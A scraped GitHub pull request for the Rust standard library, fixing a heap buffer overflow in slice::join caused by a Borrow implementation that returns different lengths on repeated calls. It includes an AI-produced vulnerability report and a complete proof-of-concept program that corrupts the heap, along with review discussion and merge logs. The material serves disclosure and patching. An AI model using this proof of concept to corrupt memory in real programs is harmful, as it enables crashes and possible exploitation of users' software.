Fix heap overflow in slice::join caused by misbehaving Borrow#155708
Fix heap overflow in slice::join caused by misbehaving Borrow#155708rust-bors[bot] merged 1 commit intorust-lang:mainfrom
Conversation
|
rustbot has assigned @Mark-Simulacrum. Use Why was this reviewer chosen?The reviewer was selected based on:
|
|
Report from AI DetailsHuman Summary Details
Location Impact Reproduction stepsDefine struct Recommended fixThe spare-capacity target slice length must be derived only from the actually reserved allocation, never from an unchecked subtraction of values influenced by repeated Borrow calls; an inconsistent Borrow implementation must at worst cause a panic, never an out-of-bounds slice. Original POC: Details//! Proof of concept: heap buffer overflow in `<[S] as Join<&str>>::join`
//! via an inconsistent (but entirely safe) `Borrow<str>` implementation.
//!
//! This is the *first-element-grows* variant that was **not** covered by the
//! CVE-2020-36323 fix (rust-lang/rust#81728).
//!
//! How to run
//! ----------
//! $ rustc -O poc.rs && ./poc
//! # or: cargo run --release
//!
//! Expected outcome on a normal glibc / jemalloc / system allocator target:
//! a SIGSEGV during the memcpy, or an allocator integrity abort
//! ("malloc(): corrupted top size", "free(): invalid next size", etc.) on the
//! next allocation. Under AddressSanitizer it reports a heap-buffer-overflow.
//!
//! Notes
//! -----
//! * Build **in release** (or with `-C debug-assertions=off`). On recent
//! toolchains, debug builds enable library-UB precondition checks inside
//! `slice::get_unchecked_mut` / `from_raw_parts_mut` which abort *before*
//! the OOB write with a message like
//! "unsafe precondition(s) violated: slice::get_unchecked_mut ...".
//! That abort is itself a confirmation of the soundness hole, but the
//! release build shows the actual heap corruption.
//! * `cargo miri run` will most likely panic on the `0usize - 1` subtraction
//! instead, because Miri's sysroot is built with overflow checks. That is
//! also a confirmation: a value derived from a second `borrow()` call on
//! user-controlled safe code is being fed into unchecked arithmetic inside
//! `unsafe { }`.
//!
//! No `unsafe` appears anywhere in this file.
#![forbid(unsafe_code)]
use std::borrow::Borrow;
use std::cell::Cell;
/// A type whose `Borrow<str>` impl returns one value on the first call and a
/// different (longer) value on every subsequent call. `Borrow` is a safe
/// trait; nothing in its contract forbids this.
struct Liar {
calls: Cell<u32>,
second: String,
}
impl Liar {
fn new(second: impl Into<String>) -> Self {
Self { calls: Cell::new(0), second: second.into() }
}
}
impl Borrow<str> for Liar {
fn borrow(&self) -> &str {
let n = self.calls.get();
self.calls.set(n + 1);
if n == 0 {
// Call #1 — used by `join_generic_copy` for the length sum.
""
} else {
// Call #2 — used by `extend_from_slice` (element 0) or by
// `specialize_for_lengths!` (elements 1..). Longer than call #1.
&self.second
}
}
}
fn main() {
// Element 0:
// borrow#1 -> "" (contributes 0 to reserved_len)
// borrow#2 -> "A" (extend_from_slice reallocates; len=1, cap≈8)
// => pos(=1) > reserved_len(=0); `reserved_len - pos` wraps to usize::MAX;
// `spare_capacity_mut().get_unchecked_mut(..usize::MAX)` fabricates a
// huge target slice over a ~7-byte region.
//
// Element 1:
// borrow#1 -> "" (contributes 0 to reserved_len)
// borrow#2 -> 64 KiB of 'B'
// => `split_at_mut(65536)` "succeeds" against the bogus usize::MAX
// length, and `copy_from_slice` writes 64 KiB starting one byte into
// an ~8-byte heap allocation.
let elems = [
Liar::new("A"),
Liar::new("B".repeat(64 * 1024)),
];
// Public, stable, safe API.
let s: String = elems.join("");
// We don't expect to get here on most allocators.
eprintln!(
"survived join(); result len = {}, cap = {}",
s.len(),
s.capacity()
);
// If we *did* get here, len > cap (another invariant violation) and the
// heap around the allocation is corrupted; provoke the allocator a bit.
let _boxes: Vec<Box<[u8; 32]>> = (0..1024).map(|_| Box::new([0xCCu8; 32])).collect();
eprintln!("survived follow-up allocations (unexpected)");
} |
This comment has been minimized.
This comment has been minimized.
|
Could we not ensure we only borrow once rather than mitigating issues caused by multiple borrows? |
Looks like there are O(n) things to be borrowed, so without a temporary allocation to store and reuse those borrows, it doesn't seem possible to precompute the length of the output |
Right but at the very least we can borrow them only once for the length calculation and only once again for the actual usage. E.g. something like: // the first slice is the only one without a separator preceding it
let first = match iter.next() {
- Some(first) => first,
+ Some(first) => first.borrow().as_ref(),
None => return vec![],
};
...
let reserved_len = sep_len
.checked_mul(iter.len())
.and_then(|n| {
- slice.iter().map(|s| s.borrow().as_ref().len()).try_fold(n, usize::checked_add)
+ iter.clone()
+ .map(|s| s.borrow().as_ref().len())
+ .try_fold(n, usize::checked_add)
+ .and_then(|n| n.checked_add(first.len()))
})
.expect("attempt to join into collection with len > usize::MAX"); |
Yes, we have one test for that but it doesn't appear to cover this specific case. |
There was a problem hiding this comment.
I think heading in a direction like what @ChrisDenton suggests would make sense to be more confident we've fully closed the problem. But this implementation doesn't seem like it makes things worse so I'd be OK merging it in first, r=me if so.
|
@bors squash |
This comment has been minimized.
This comment has been minimized.
* Fix heap overflow in slice join via inconsistent Borrow * Update library/alloc/src/str.rs Co-authored-by: Mark Rousskov <mark.simulacrum@gmail.com>
|
🔨 2 commits were squashed into da545d0. |
e09177e to
da545d0
Compare
|
@bors r+ |
Rollup of 12 pull requests Successful merges: - #149624 (Fix requires_lto targets needing lto set in cargo) - #155317 (`std::io::Take`: Clarify & optimize `BorrowedBuf::set_init` usage.) - #155579 (Make Rcs and Arcs use pointer comparison for unsized types) - #155588 (Implement more traits for FRTs) - #155708 (Fix heap overflow in slice::join caused by misbehaving Borrow) - #155778 (Avoid Vec allocation in TyCtxt::mk_place_elem) - #151014 (std: sys: process: uefi: Add program searching) - #155682 (Add boxing suggestions for `impl Trait` return type mismatches) - #155770 (Avoid misleading closure return type note) - #155818 (Convert attribute `FinalizeFn` to fn pointer) - #155829 (rustc_attr_parsing: use a `try {}` in `or_malformed`) - #155835 (couple of `crate_name` cleanups)
Rollup merge of #155708 - Manishearth:borrow-fix, r=Mark-Simulacrum Fix heap overflow in slice::join caused by misbehaving Borrow This code allocates a buffer using lengths calculated by calling `.borrow()` on some slices, and then copies them over after again calling `.borrow()`. There is no safety-reliable guarantee that these will return the same slices. While this code calls `.borrow()` three times, only one of them is problematic: the others already use checked indexing. I made the test a normal library test, but let me know if it should go elsewhere. Bug discovered by Rust Foundation Security using AI. I'm just helping with the patch as a member of wg-security-response. We do not believe this bug needs embargo, it is a soundness fix for hard-to-trigger unsoundness.
`slice::join`: borrow only once during length calc This ensures the length calculation will always be self-consistent even if the real length changes when we actually come to use them. This is a follow up to rust-lang#155708
`slice::join`: borrow only once during length calc This ensures the length calculation will always be self-consistent even if the real length changes when we actually come to use them. This is a follow up to rust-lang#155708
`slice::join`: borrow only once during length calc This ensures the length calculation will always be self-consistent even if the real length changes when we actually come to use them. This is a follow up to rust-lang#155708
This code allocates a buffer using lengths calculated by calling
.borrow()on some slices, and then copies them over after again calling.borrow(). There is no safety-reliable guarantee that these will return the same slices.While this code calls
.borrow()three times, only one of them is problematic: the others already use checked indexing.I made the test a normal library test, but let me know if it should go elsewhere.
Bug discovered by Rust Foundation Security using AI. I'm just helping with the patch as a member of wg-security-response. We do not believe this bug needs embargo, it is a soundness fix for hard-to-trigger unsoundness.